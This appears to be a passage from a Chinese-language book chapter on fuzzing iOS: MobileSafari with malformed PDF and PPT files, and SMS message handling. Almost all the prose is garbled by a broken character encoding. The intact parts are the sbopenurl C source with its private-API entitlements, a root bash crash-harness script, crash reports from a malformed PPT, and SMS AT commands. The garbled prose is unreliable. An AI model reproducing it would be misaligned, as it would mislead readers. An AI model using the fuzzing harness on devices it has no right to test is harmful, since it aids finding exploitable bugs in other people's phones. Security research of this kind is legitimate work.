੊ҩᑞǌԵ᜵ࠪPDFഴዹ٧ᤈᛠጹॱνஇὋੇ iOS˖ಉ੼bugᄉPPTഴዹ٧ǌڙԺ̾҃੆ःឞᑞࡂ͂

�ХԺᑞԦဗᄉ࢜ຳǌࢹᇧ˿ѽၸឞࡘ4-6ڎ

 

�4-6ڎ ̯௃஌PPT஠͇३ҁᄉ࢜ຳઐն 

6.6� ⫼῵ᢳ఼䖯㸠῵㊞⌟䆩 

iOS SDKଡΘ˿iOSഴ઱٧ǌឞഴ઱٧ᝧधԦᏧԺ̾ڙʿ΍ၸiOS᝹ܫᄉৰхʽὋॡழΦڠᤁ

ᛠ֖฽ណၸiOS SDKधԦᄉःၸǌܷࠑԺᑞ᜿३ᤇࠪ̅ഴዹ฽ណᏪᝒ௦ॡူਆᄉৰхὋځ˝Ժ̾

ՉڙԺ̾ࠑᛠᤁᛠ᝴ܲᤈርᄉMac OS Xጆፑ˖ࠪiOSᤈᛠഴዹ฽ណǌ൤ܰὋథ˿ᘾ઱ӐὋࣲܷڙ

᝟ኪ఺ʼᤁᛠܲ˓Mac OS XጆፑࠃΒ὇ځ൤Ժ̾ᤁᛠܲ˓ഴ઱ࠃ٧ΒὈǌʿ᣾Ὃ5-6ڎݟ੝ᇧᄉഴ

઱٧ࠪ̅ഴዹ฽ណ౎ឬФࣲࠃʿᥦ˥ူਆǌ 
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�5-6ڎ iOSഴ઱٧ 

 .Developer/Platforms/iPhoneSimulator.platform/Developer/Applications/iPhone Simulator/ڙԺ̾ࠑܷ
appܪ੼ҁഴ઱٧ᄉ̃ᤈ҃஠͇ǌ 

˝˿Φ̅ᝦ᝶Ὃੇ͂ᤆ௦̾Safari὇MobileSafariὈ˝ΒὋڙ˝ځఴብ˧ґᄉЮࡂ͂ੇ˖ࠓ௦

ࠪФᤈᛠഴዹ฽ណᄉǌ 
᤯᜾iOS SDKὋ;͗ࡂԦဗڙ/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/ 

iPhoneSimulator5.0.sdkͮᎵڙߚˀዴኤ᣾ᄉiOS஠͇ጆፑዜͪᄉˋ᜴ǌࠪ̅ఴᓫͷʽᄉᦉѫᏪᝒὋ

੝థᄉ஠͇ᦏ௦ˀᤇʶᄫेᄰСᄉὙ 

$ ls -1 
Applications 
Developer 
Library 
SDKSettings.plist 
System 
usr 

ᄹᄹApplications஠͇݂Ὃ;ࠪ͗ࡂiOSഴ઱٧ࠪ̅ഴዹ฽ណᏪᝒ˝ʹʿူਆథʶ˓ѹ൥ᄉᝢខὙ�

$ ls -1 Applications/ 
AdSheet.app 
Camera.app 
Contacts~ipad.app 
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Contacts~iphone.app 
DataActivation.app 
Game Center~ipad.app 
Game Center~iphone.app 
MobileSafari.app 
MobileSlideShow.app 
Photo Booth.app 
Preferences.app 
TrustMe.app 
Web.app 
WebSheet.app 
iPodOut.app 
wakemonitor 

ഴ઱٧˖ࣲ෤థܲ࠵ःၸǌΒݟὋФ˖ࡂ෤థiTunes֖MobileMailᤇˏ˓þ౛ʼ᧫᧫ᄉÿഴ

ዹ฽ណᄫಕǌͭᤇ᧖ܿథMobileSafariᤇ˓ణ·ᄉഴዹ฽ណᄫಕःၸǌʿ᣾Ὃ᜵௦̲ጹᄹᄹᤇ˓

ഴ઱ᄉMobileSafariὋ;͗ࡂԦဗʶ̎Ф̴ᄉ᫇ᮤǌ�

ଋʽ౎Ὃੇ͂សጹѫౡʶʽiOSഴ઱٧˖੝΍ၸᄉMobileSafariὋܷࠑԺ̾ڙApplications/ 
MobileSafari.app/MobileSafariܪ੼ҁ߱ǌ 

$ file MobileSafari.app/MobileSafari 
MobileSafari.app/MobileSafari: Mach-O executable i386 

ឞርࣿ௦x86̃ᤈ҃஠͇Ὃࣲʿ௦˝ARMͳጆፆౝ᝹᝟ᄉǌ߱௦ᄯଋˀഴ઱ڙ٧Վʶ٧ူܪ

ʼᤁᛠᄉǌᤇ਒։ᅋឞྟఴᄉMobileSafariˀiOS˖ࠃᬄᤁᛠᄉྟఴథᅋᄰॆܷᄉࢿऩǌ౎ᄹᄹ

Mac OS X᝟ኪ఺ʼᄉᤈርѴᛪὋ;͗Ԧဗ߱ᤁᛠᅋὙ�

$ ps aux | grep MobileSafari 
cmiller         78248   0.0   0.7   852436   29344   ??   S        9:17AM 
/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/ 
iPhoneSimulator5.0.sdk//Applications/MobileSafari.app/MobileSafari 

�ᤁᛠᄉˀഴ઱٧ᄰСᄉᤈርὋӉહὙڙԺ̾ᄹҁ੝థൣࠑʼὋܷࠃ̂

� AppIndexer὚ 
� searchd὚ 
� SpringBoard὚ 
� apsd὚ 
� SimulatorBridge὚ 
� aggregated὚ 
� BTServer὚ 
� locationd὚ 
� mediaremoted὚ 
� ubd὚ 
� MobileSafariǌ 
ᄹᄹឞྟఴMobileSafarĩᤈ҃஠͇੝ΙᠺᄉंὋ;͗ࡂԦဗ߱ˀࠃᬄᄉSafari˧ᫍڙߚᄉࢿ

ऩǌᤇ̎ंӉહὙ 
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� JavaScriptCore὚ 
� WebKit὚ 
� UIKit὚ 
� SpringBoardServices὚ 
� CoreTelephony὚ 
� Twitterǌ 
ᤇ᧖ѴѢᄉंథ̎˶ᑞڙSafari˖੼ҁὋᏪథ̎Ѷʿᑞ὇ඊழឬʼᤗѴᛪ˖ᄉՐ4˓ंὈǌᤇ

̎ं௦̯iOS஠͇ጆፑलၸᄉὋᏪ˄ʿ௦ऄࡎ˞఺ᄉ಩ዜंǌ 
੝̾Ὃॡ௬ཨὋiOSഴ઱٧ࣲʿ௦ઁiOSᆵ͇᝹ܫѫඒʿୂڠࢿҁ˿᝟ኪ఺ʼǌ߱ ˀࠃᬄ᝹ܫ

ᤆథᅋФ̴ʿՎ˧ܪὋඊݟ෤థiOS᝹ܫᥦಧᄉᠪຸᬌ҃ǌвඊݟὋϷSVG஠͇ᤇዜഴ઱٧෤ก

੩धᄉ஠͇ὋࠃڙᬄᄉiOS᝹ܫʼ௦Ժ̾੩धᄉǌᡐᆉὋഴ઱٧Ꭴ˫ᆵ͇᝹ܫ੝ХథᄉЮߚγએ

఺҃ὋᏪ˄ܷࠑʿᑞ฽ណϷSMSᤇಧˀᆵ͇ጊࠚᄰСᄉःၸ὇ڙఴብՐ᭦ᄉЮ͗࠱;˖ࠓ˿ᝌὈǌ 
΍ၸഴ઱٧ణܷᄉʿழΦԺᑞࡂ௦ഴ઱٧෤กᡔ࿜ᤇʶ̂ࠃǌ˶ ෤͂ੇ˖ഴ઱٧ڙ௦ឬὋࡂ

Ҩกᣏ௛ըҮःၸὋᏪըҮःၸ௦ᤈᛠഴዹ฽ណᄉ۲ఴ᜵යǌ 
ᬱὋࠪഴ઱٧ᤈᛠഴዹ฽ណὋ;͗ԦဗᤇʶMobileSafariᄉ࢜ຳઐնѢဗڇ౦ਆАనᤇ̎ݟ

 ௦˓x86ःၸǌࡂࠃФ߱˝ځழúú~/Library/Logs/CrashReporterὋڠMac OS X˞఺ʼᄉᏤڙ
൤Ὃܷځ Ժ̾ណᅋࠪഴ઱٧ःၸᤈᛠഴዹ฽ណὋʿࠑ ᣾߱ˀࠃᬄ᝹ᫍܫᄉࢿऩ͗ፋ฽ណࢹͺ

ᤴ੆ʶ߿ᄉڇᬱὋ੝ܷ̾ࠑʿःឞࡉζ३Ѣᄉፆ౦ǌͭពԠឬٿ౎Ὃݟ౦Ժ̾ࠪࠃᬄᄉ᝹ܫᤈᛠ

ഴዹ฽ណὋԠَ࣯᜵Ԝࠪഴ઱٧ᤈᛠഴዹ฽ណփ὞  

6.7� ᇍ MobileSafari 䖯㸠῵㊞⌟䆩 

ੇܷ͂ᒰԺ̾૊ཱࠪMac OS X᝟ኪ఺ʼᄉSafariᤈᛠഴዹ฽ណᄉழयࠪMobileSafariᤈᛠഴ

ዹ฽ណǌ˞᜵ᄉӜѾ࢜̅ڙࡂຳઐն஠͇ѢဗᄉͮᎵሮథʿՎǋMobileSafari˖෤థopeñᤈ҃

஠ࣲ͇˄ʿᑞ̯̽֐ᛠըҮǌॆཨὋၿ̅ᆵ͇ᄉᬌ҃Ὃഴዹ฽ណᄉᤳऎ˶᜵ਤॡܲǌ 

6.7.1� 䗝ᢽ䖯㸠῵㊞⌟䆩ⱘ᥹ষ 

Ὃ࠴Ժၸ̅ഴዹ฽ណᄉˋ᜴ǌᙉཨԩஈѣ᭦᜵ඊMac OS X࠵MobileSafari˖ੇ͂Ժ̾੼ҁʿڙ

ͭ௦Фܷ̮࠴ཨᄰॆԺ᜹ǌᤤસMicrosoft Office஠͇ಪयࡂ௦˓ʿᩱᄉ˞਒Ὃڙ˝ځiOS˖߱͂

͗ᜁᒬҮᝌౡὋᏪڙMac OS X˖ࡂʿᑞǌ˶᝴ᤇឬ௙ᔰ౦ࠪ൤ࣲʿ௦ॡ᧗᜼ǌఴᓫ᜵ࡘᇧঞಧ

ѽၸPowerPointᄉ.pptಪयࠪMobileSafariᤈᛠഴዹ฽ណǌ  

6.7.2� ⫳៤⌟䆩⫼՟ 

᜵ၶ੆฽ណၸΒὋੇ ͂Ժ̾΍ၸࠪPDFᤈᛠഴዹ฽ណௐၸ᣾ᄉfuzz_bufferѥஜǌӜѾ˧ʶ

ᄉ᝟ܫiOS᝹˝ځʼὋܫԦᤞҁiOS᝹͂߱࠱ಷ᭦᝟ኪ఺ʼၶ੆฽ណၸΒὋཨՐڙభ࣎͗ࠑ௦ܷࡂ

ኪᑞҦథཁिǌځ൤ὋᤇԠ࠱ၸҁ۲̅Ԫऩᄉഴዹ฽ណǌሮՐܷ͗ࡂࠑᄹҁ۲̅ၶ੆ᄉഴዹ฽ណǌ  
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6.7.3� MobileSafariⱘ῵㊞⌟䆩Ϣⲥ⌟ 

ڙ iOS˖Ὃ̾mobileၸਖ਼ాᬌᤁᛠᄉᤈር̖ၶᄉ࢜ຳઐնణጻᦏѢဗڙ /private/var/ 
mobile/Library/Logs/CrashReporter˖ǌᏪణՐMobileSafariᄉ࢜ຳѶ௦̯LatestCrash-MobileSafari.plist
஠͇˖ᩖଋᄉǌ 

ਆ३ҁMac OS Xʼopeñᤈ҃஠͇ᥦಧᄉࢹХὋ;ࡂ᜵ၸҁᝧMobileSafariյဗᎩᮅᄉᣘү

ርࣿǌܷࠑԺ̯̾https://github.com/comex/sbsutils/blob/master/sbopenurl.cܪύၸsbopenurlǌ 

⊼ᛣ ਕ៘@Gojohnnyboi੼ҁᤇ˓ࢹХǌ 

#include <CoreFoundation/CoreFoundation.h> 
#include <stdbool.h> 
#include <unistd.h> 
 
#define SBSApplicationLaunchUnlockDevice 4 
#define SBSApplicationDebugOnNextLaunch_plus_SBSApplicationLaunch 
WaitForDebugger 0x402 
 
bool SBSOpenSensitiveURLAndUnlock(CFURLRef url, char flags); 
 
int main(int argc, char **argv) { 
    if(argc != 2) { 
        fprintf(stderr, "Usage: sbopenurl url\n"); 
    } 
    CFURLRef cu = CFURLCreateWithBytes(NULL, argv[1], 
strlen(argv[1]), kCFStringEncodingUTF8, NULL); 
    if(!cu) { 
        fprintf(stderr, "invalid URL\n"); 
        return 1; 
    } 
    int fd = dup(2); 
    close(2); 
    bool ret = SBSOpenSensitiveURLAndUnlock(cu, 1); 
    if(!ret) { 
    dup2(fd, 2); 
        fprintf(stderr, "SBSOpenSensitiveURLAndUnlock failed\n"); 
        return 1; 
    } 
    return 0; 
} 

ឞርࣿ͗ᄯଋࠪͺ˝̽֐ᛠԟஜ͛ЙᄉURLុၸ SpringBoardService˃థಳ౵˖ᄉ

SBSOpenSensitiveURLAndUnlock APIǌܷࠑԺ̾ၸݟʽ̽֐ౝतឞርࣿὙ�

/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/gcc -x 
objective-c -arch armv6 -isysroot 
/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0 
.sdk/ -F /Developer/Platforms/iPhoneOS.platform/Developer/ 
SDKs/iPhoneOS5.0.sdk/System/Library/PrivateFrameworks -g – 
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-framework Foundation -framework SpringBoardServices -o 
sbopenurl sbopenurl.c 

ཨՐὋ;ᭉ᜵˝ФଡΘՋ᤟ᄉ૾ాὋᝧ߱ᤁᣀᡐ౎Ὑ�

codesign -fs "iPhone Developer" --entitlements ent.plist 
sbopenurl 

˿ᤇ᧖ᭉ᜵ၸҁ˧ґ̯ᔰ౦МՂᄉనҫ٧ʼʽᣑᄉधԦᏧ᝼˹ǌent.plist஠͇˖Ӊդڙࠑܷ

ॸ᜵ᄉ૾ాὋݟʽ੝ᇧὙ�

<dict> 
     <key>com.apple.springboard.debugapplications</key> 
     <true/> 
     <key>com.apple.springboard.opensensitiveurl</key> 
     <true/> 
</dict> 

ࣂڙథ˿openᄉఢֵ̼ǌሮథνஇᄉ࢜ຳઐն٧ဗࡂʼὋཨՐܫឞርࣿ͛ᣤҁiOS᝹࠱͂ੇ

ፂᤁᛠڙiOSʼ˿Ὑ�

#!/bin/bash 
url=$1 
sleeptime=$2 
filename=/private/var/mobile/Library/Logs/CrashReporter/ 
LatestCrash-MobileSafari.plist 
rm $filename 2> /dev/null 
 
echo Going to do $url 
/var/root/sbopenurl $url 
sleep $sleeptime 
cat $filename 2>/dev/null 
/usr/bin/killall -9 MobileSafari 2>/dev/null 

Ꮺ˄ˀ˧ґథᅋᄰՎᄉᤁᛠழयὙ�

iPhone:~ root# ./crash http://192.168.1.2/a/62.pdf 6 
Going to do http://192.168.1.2/a/62.pdf 
 
iPhone:~ root# ./crash http://192.168.1.2/a/63.pdf 6 
Going to do http://192.168.1.2/a/63.pdf 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 
<plist version="1.0"> 
<dict> 
       <key>AutoSubmitted</key> 
       <true/> 
       <key>SysInfoCrashReporterKey</key> 
       <string>411e2ce88eec340ad40d98f220a2238d3696254c</string> 
       <key>bug_type</key> 
       <string>109</string> 
... 

ဗࣂ;ڙፂѫѾଁଦ˿ၶ੆ᣤЙǋ᧪ࠪURLᤁᛠMobileSafari̾Ԣ೜฽࢜ຳᄉழกὋқʽᄉ

�ͺ႐ፋਕТᡙᄉឳᏧᒬᛠ߸੆ǌࢹᤇ᧖ઁஞՋڙፆՋᡐ౎ǌੇ͂͂߱࠱௦᜵ࡂͺࢹ
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6.8� PPT ῵㊞⌟䆩 
˹ᎃзఴڙ੼ҁbugǌʽ᭦ፋѢᄉᤇ˓bugᇧΒ௦͗ࡂॡঋࠑᤁᛠ6.7ᓫ˖ᄉഴዹ٧ௐὋܷڙ

ௐ࠺లνܬᄉǌ߱౎ຸ̅6.5ᓫ˖ഏᤗ᣾ᄉՎʶ࢜ຳǌซ਒ὋiOS᝹ܫʼᄉMobileSafari࢜ຳ˖௦௃

ቿՁԺၸᄉ὇ԵథЮڦڠߚὈǌ 

# ./crash http://192.168.1.2/bad.ppt 10 
Going to do http://192.168.1.2/bad.ppt 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 
<plist version="1.0"> 
<dict> 
       <key>AutoSubmitted</key> 
       <true/> 
       <key>SysInfoCrashReporterKey</key> 
       <string>411e2ce88eec340ad40d98f220a2238d3696254c</string> 
       <key>bug_type</key> 
       <string>109</string> 
       <key>description</key> 
       <string>Incident Identifier: 7A75E653-019B-44AC-BE54-271959167450 
CrashReporter Key:   411e2ce88eec340ad40d98f220a2238d3696254c 
Hardware Model:      iPhone3,1 
Process:         MobileSafari [1103] 
Path:            /Applications/MobileSafari.app/MobileSafari 
Identifier:      MobileSafari 
Version:         ??? (???) 
Code Type:       ARM (Native) 
Parent Process:  launchd [1] 
 
Date/Time:       2011-12-18 21:56:57.053 -0600 
OS Version:      iPhone OS 5.0.1 (9A405) 
Report Version:  104 
 
Exception Type:  EXC_BAD_ACCESS (SIGSEGV) 
Exception Codes: KERN_INVALID_ADDRESS at 0x0000002c 
Crashed Thread:  10 
 
... 
Thread 10 Crashed: 
0   OfficeImport            0x383594a0 0x3813e000 + 2208928 
1   OfficeImport            0x381bdc82 0x3813e000 + 523394 
2   OfficeImport            0x381bcbbe 0x3813e000 + 519102 
3   OfficeImport            0x381bb990 0x3813e000 + 514448 
4   OfficeImport            0x38148010 0x3813e000 + 40976 
5   OfficeImport            0x38147b94 0x3813e000 + 39828 
... 
 
Thread 10 crashed with ARM Thread State: 
r0: 0x00000024  r1: 0x00000000  r2: 0x00000000  r3: 0x00000000 
r4: 0x00000000  r5: 0x0ecbece8  r6: 0x00000000  r7: 0x04fa8620 
r8: 0x002d3c90  r9: 0x00000003  r10:0x00000003  r11:0x0ecc43b0 
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ip: 0x04fa8620  sp: 0x04fa8620  lr: 0x381bdc89  pc: 0x383594a0 
cpsr: 0x00000030 

ᑞ३ҁቿՁ὇Хͳᄉѥࡂ;XcodeᄉOrganizerቓԯ˖ಉᄹ௅ংὋڙὋࣲܫᄉ᝹ࣁ౦Վ൥ᒬݟ

ஜՏሥ֖ᛠՁኍζোὈὋ6-6ڎݟ੝ᇧǌ὇ॆཨὋܷࠑ˶Ժ̾΍ၸӬ࿗ᄉ࢜ຳઐնቿՁӐࠃၸࢹХὋ

iOS SDK˖ࡂଡΘ˿ᤇಧᄉࢹХǌὈ�

 

�6-6ڎ Xcode˖ቿՁӐᄉ࢜ຳઐն 

6.9� ᇍ SMS ⱘ῵㊞⌟䆩 

ᒯ൤ὋܷࣂࠑፂࠪiOS˖ᄉWebเ᜾٧ᤈᛠ˿ഴዹ฽ណǌᤇ௦ᄫґ˝ൢiOS˖ణܷᄉԩஈѣ᭦

˧ʶǌʿ᣾ὋiOS௬ཨʿ௦Եథ˓ሧҮྟᄉWebเ᜾٧ǌڙఴᓫ˖Ὃܷࠑ᜵ࠪܲஜಷ᭦᝟ኪ఺ᦏ

෤థᄉˋ᜴ᤈᛠഴዹ฽ណǌᤇ᧖᜵ឬ௙ݟʹࠪiPhoneଋஅSMS὇Short Message ServiceὋᆀ๖োన

ҫὈ๖োᄉழกᤈᛠഴዹ฽ណǌ 
SMS௦஠ఴ๖ো੝΍ၸᄉ੾శὋ߱௦࠵࠱᧙ஜ૵᤯᣾௃ጲᤁᖸ׷ᄉ௃ጲႂᎩፎԦᤞҁ᝹ܫǌ

Ѣ̅ᔩ࣯ԓځὋᤇ̎๖োࣛ౎˿ॡܲᄉஈѣழՓǌ˞᜵ԓ̅ڙځὋ֖TCP/IPಖʿՎᄉ௦Ὃੇ͂෤

ҨกፋSMSᄉЙቢᤋଋ᝹Ꮅþ᫸༡ܖÿǌ੝థᄉSMS᤯ζᦏ௦ӟՏҁ᣹ᄉὋᏪ˄ᐯ͗߿३ҁ᝹ܫ

ᄉူܪǌ̯ᤤ߿ᄫಕᄉᝇऎ౎ᄹὋᤇ˶௦᭣࣡థ਒ধᄉǌᙉཨ੼ҁ̠͂ᄉIPڦڠԺᑞॡᬱ὇ࠪ΍

ၸڠཁʿறԪ૰ᄉቷ᝭ఴᏪᝒၴ࠾ὈὋͭफҁ̠͂ᄉႂពՁᆉज़ज़௦ᄰॆࠓ௛ᄉǌSMSᤇ˓ஈѣ

ழՓ˧੝̾ॡխल̠ᤆథʶ˓ԓځὙ߱ʿᭉ᜵͉ʹၸਖ਼̓̈ࡂᑞᝧஜ૵ᤈЙःၸǌᤇˀஈѣWeb
เ᜾٧௦ʿՎᄉὋஈѣเ᜾٧ᭉ᜵ᝧၸਖ਼᝺᫇ৎ਒Ꭹቢ੥ᛠǌᬓ൤˧ܰὋࠪ̅ஈѣᏧ౎ឬᤆథ˓

ѽݝ๖োὋᥦࡂ௦iOS˖ူܪSMS๖োᄉᤈርࣲలᤁᛠڙ෡ᄣ˖ὋᏪ˄᠆᠉ˀ۲ࣛ٧ူܪ˧ᫍᄉ

᤯ζ὇ሮՐ͗សጹ̭ፀὈǌ੝̾Ὃథ˿ႂពՁᆉ֖SMS໣วஈѣὋஈѣᏧࡂԺ̾ڙʿᤈᛠၸਖ਼̓
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̈ᄉৰхʽᝧᄢଌ੣఺᤯ព֖஠ఴᆀζᄉ̼ᆉᤁᛠᡐ౎ὋᏪ˄Ե᜵௦ԩࠎᏧਆଋႂព੊அᆀζὋ

iOSڙʹݟ᜵ᄹᄹࡂҨกક७ᤇሗஈѣǌSMS໣วஈѣᄉᆷ௦᭣࣡ुܷᄉǌଋʽ౎ੇ͂ݝ˥෤̣ࡂ
˖ࠬ੼SMS໣วǌ  

6.9.1� SMS෎⸔ⶹ䆚 

SMSФࠃ௦ၸ̅GSMሧҮ᤯ζጆፑ˖ᄉ᤯ζӨᝫὋឞӨᝫణѹ᝭ᣑ̅20ࣱܲґᄉGSMಕэ

˖ǌSMSѽၸ˿᫋̅ܪᎵ࿃খᄉ˝੣఺ពҫଌ҃γ႐ᄉࣛࠔǌឞଌ҃ζ᥊ၸ̅੣఺ˀᬃᤂ۲ቢᫍ

ᄉ᤯ζὋࣲ˝۲ቢ֖੣఺ଡΘ˿३ᅻᎩፎൣ࣡ᄉ᤬फ़ǌतበ᤯ព˶ᭉ᜵ၸҁឞζ᥊Ὃඊ۲ݟቢڙ

੣఺థ౎ႂௐ͗ࡂ᤯᣾ឞζ᥊Փ੣఺Ԧᤞ๖োǌSMS˶௦΍ၸᤇ̎ଌ҃ζ᥊ᄉὋ੝̾ࠃဗᤇʶҩ

ᑞࣲʿ͗ፋᤁᖸܘ׷Ҫ͉ʹᆵ͇੆ఴǌᎤཁݟࡂՎþᆀζÿᤇ˓Տሥ੝௬ᇧᄉὋඇ్๖োᦏॡᆀǌ

ᄫґᄉSMSஜ૵ᜁᬌ҃˝140ߙᓫὋ੊Ꮷ௦160˓7ͮߙቿ὇70˓16ͮߙቿὈǌဗڙὋӉહ3G֖4G
ᎩፎڙЮᄉܲሗᎩፎᦏЉ᝴΍ၸSMSǌ 

ॆ᝹ܫԦᤞSMS๖োௐὋФࠃ௦ઁ߱ԦᤞҁSMSC὇Short Message Service CenterὋᆀ๖োన

ҫ˖ॶὈὋཨՐၿSMSCՓఴ౎ᄉஅζ̠ᣀԦឞ๖োǌᤇԺᑞ௦࠱๖ো͛ᤞፋԲʶ˓SMSCὋ˶Ժ

ᑞ௦ᄯଋ͛ᤞፋஅζ̠ὋԨф̅Ԧᤞ᝹֖ܫଋஅ᝹ܫ௦ՠ̅ܪᄰՎᄉᤁᖸ׷Ꭹፎ˖ǌSMSCڙᤇ

᧖ੵ໥ᄉᝇᓣࡂዜͪ̅IPᎩፎ˖ᄉᡸၿ٧ὋԵʿ᣾థʶ˓ॡܷᄉӜѾǌݟ౦அζ̠௦ʿԺ᣹ᄉὋ

ඊழឬὋݟ౦̴͂ᄉ੣఺С఺˿੊Ꮷ௦ʿڙనҫӜὋSMSCઁ͗ࡂ๖োᣀЙय़Ԧ᫲ѴὋ̾Φڙஅ

ζ̠ᄉ᝹ܫଋЙᎩፎՐፘ፝Ԧᤞឞ๖োǌSMSԦᤞ௦ሗࡉణܷҰҦᄉనҫὋ˶ࡂ௦ឬὋʿγ᝼ඇ

్ԦᤞѢᄉ๖োᦏᑞ᣹ҁᄫᄉڠὋ˶ʿᑞγ᝼ʶ߿ʿ͗థढᤌǌ 
SMSʿ̨ᑞԦᤞ஠ఴὋథ̎ଡΘ׷˶Љ᝴ࠪ΍ၸSMS๖োᄉ᝹ܫᤈᛠቆ˖ᎃር὇over-the-air 

programmingὈǌၸਖ਼Ժ̾Ԧᤞᨢྞڎ֖ܥᤇಧᄉ̃ᤈ҃ஜ૵Ὃ੊௦΍ၸSMSͺ˝அҁឥᮂᥪ͇ௐ

ᄉଡᧇǌྱ Ѿ᜵ឬ௙ᄉ௦ὋiOSԺ̾ѽၸSMS๖োଡΘ๗ԢԺ᜼ឥᮂᥪ͇֖ॐζ὇MMSὈᄉζোǌ 
iPhoneФࠃథˏ˓٧ူܪὋʶ˓௦˞CPUὋԶͺःၸ٧ူܪὋʶ˓ҝCPUὋԶͺ۲ࣛ٧ူܪǌ

˞CPUၸ̅ᤁᛠiOSୱͺጆፑЮನὋ̾Ԣᄫґଡҁ᣾ᄉ੝థःၸǌ۲ࣛ٧ူܪѶᤁᛠᅋྱ҃ᄉࠃ

ௐୱͺጆፑὋၸ̅ଌ҃ሧҮႂពଋԯὋࣲ᜵ူܪ᝹ܫˀᚃቖႂពᎩፎ˧ᫍᄉ੝థ᤯ζǌ὇ኃ11ብ
͗សጹ̭ፀ۲ࣛ٧ူܪǌὈဗڙὋܷࠑԵᭉ᜵ᅻ᥊۲ࣛ٧ူܪଡΘ˿ʶሗˀःၸ٧ူܪᤈᛠ᤯ζ

ᄉழयǌᤇሗ᤯ζ௦ڙᔩ࣯᤾ᣣ˘ᛠጲᡸʼᤈᛠᄉǌڙ௉యᄉiPhoneʼὋڙःၸCPUʼᤁᛠᄉᣃ

͇௦ѽၸ۲̅஠ఴᄉGSM ATᬶ̽֐Ὃ᤯᣾ᤇ̎˘ᛠጲᡸˀុ҃ᝌុ٧ᤈᛠ᤯ζᄉǌᤇ̎AT̽֐

ၸ̅ଌ҃ᚃቖႂពᎩፎଋԯᄉՉ˓ழ᭦ὋӉહ᤯ពଌ֖҃SMS͛ᤞǌ 
ॆSMSC࠱SMS๖ো͛ᤞҁiPhoneᄉុ҃ᝌុ٧ௐὋុ҃ᝌុ٧͗᤯᣾ʿឯᒬ౎ᄉAT̽֐ፆ

౦ᆉˀःၸ٧ူܪᤈᛠ᤯ζǌፆ౦ᆉ௦ၿˏᛠ஠ఴጷ੆ᄉǌኃʶᛠդథፆ౦ᆉ֖ଋʽ౎ᥦᛠᄉߙ

ᓫஜǌኃ̃ᛠᄉЮࠓѶ௦ӠНᤈ्҃यᛪᇧᄉSMS๖োǌᤇ̎AT̽֐ፆ౦ᆉ௦ၿiPhoneʼ౼̎ྟ

ఴᄉCommCenterᤈርឳԨᄉǌ 
ၿג˓ᤈርူܪᤇሗ᤯ζԨф̅iPhoneᄉᆵ͇ǌ/System/Library/LaunchDaemonsᄫे˖థˏ

˓ᄰСᐎᄉplist஠͇ὋѫѾ௦com.apple.CommCenter.plist֖com.apple.CommCenterClassic.plistǌಉ
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ᄹᤇˏ˓஠ ὇͇ڙၸplutil࠱Фᣀ૰੆XMLಪयՐὈὋ;͗ࡂԦဗ߱͂ᦏХథcom.apple.CommCenter
ಕ᝭Ὃʿ᣾Ὃ߱͂ᜁᬌ҃ҁʿՎᆵ͇ǌCommCenterClassicѴѢ˿Ὑ 

... 
     <key>LimitLoadToHardware</key> 
          <dict> 
               <key>machine</key> 
                    <array> 
                         <string>iPhone1,2</string> 
                         <string>iPhone2,1</string> 
                         <string>iPhone3,1</string> 
                         <string>iPod2,1</string> 
                         <string>iPod2,2</string> 
                         <string>iPod3,1</string> 
                         <string>iPod4,1</string> 
                         <string>iPad0,1</string> 
                         <string>iPad1,1</string> 
                         <string>iPad2,1</string> 
                         <string>iPad2,2</string> 
                         <string>AppleTV2,1</string> 
                    </array> 
               </dict> 
... 

ᄰᣖᏪᝒὋCommCenterѴѢ˿ʶጷʿՎᄉᆵ͇Ὑ�

... 
     <key>LimitLoadToHardware</key> 
          <dict> 
               <key>machine</key> 
                    <array> 
                         <string>iPhone3,3</string> 
                         <string>iPhone4,1</string> 
                         <string>iPhone4,2</string> 
                         <string>iPad2,3</string> 
                         <string>iPad3,1</string> 
                         <string>iPad3,2</string> 
                         <string>iPad3,3</string> 
                    </array> 
               </dict> 
... 

ኤӬᡐ᜸ὋఴብԵᆐቂCommCenterClassicǌ�

6.9.2� 㘮⛺ण䆂᭄᥂ऩܗ῵ᓣ 

SMS᜺ᔴ᜺߿˿ុ҃ᝌុ٧ᄉˏሗᤁᛠഴयὋѫѾ௦SMS஠ఴഴय֖SMS PDU὇Protocol 
Data UnitὋӨᝫஜ૵ӬЊὈഴयǌ̅ܪڙʿՎഴयௐὋSMS AT̽֐ᄉ஠ก̾Ԣᤄٿᄉֽःᦏ௦

ʿՎᄉǌణܷᄉӜѾࡂ௦SMS஠ఴഴयԵஂ૆஠ఴǌΒݟὋਆԦᤞSMS๖োὋ;ࡂ᜵΍ၸὙ 

AT+CMGS="+85291234567" 
Lame SMS text mode message 
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३ܲǌSMS஠ఴഴयᤆథʶ˓᫇ᮤὋԀ߱࠵᜵ࡂᤇʶᬌ҃ὋSMS஠ఴഴयʽԺၸᄉҩᑞ˝ځ

෤థ३ҁុ҃ᝌុ٧ᄉࣸคஂ૆ǌ�

Ѣ̅ᤇ̎ԓځὋఴᓫ᜵࠱ซ਒ҦஉڙSMS PDUഴयʼǌᤇ˝ܷࠑଡΘ˿ʶ˓ఝܷᄉ὇ᙉཨ

ˀเ᜾٧ᄰඊ௦ᄰॆ࠴ᄉὈԩஈѣ᭦౎ಉ੼bugǌ 
SMS๖োథˏሗಪयǌSMS-SUBMITಪयၸ̅ઁ๖ো̯ሧҮ᝹ܫԦᤞҁSMSCὋᏪ

SMS-DELIVERಪयၸ̅ઁ๖ো̯SMSCԦᤞҁሧҮ᝹ܫǌځ˝ఴᓫᄉ᧗ཁ௦iOSူܪʹݟஅҁᄉ

ζোὋ੝̾ᤇ᧖˞᜵ᝮᝌSMS-DELIVER๖োǌ 
ʽ᭦ᄉЮࠓ௦ʶൿࠪःSMS PDUഴयʽSMS-DELIVERಪयᄉATፆ౦ᆉὙ 

+CMT: ,30 
0791947106004034040D91947196466656F80000901082114215400BE8329BFD4697D9EC377D 

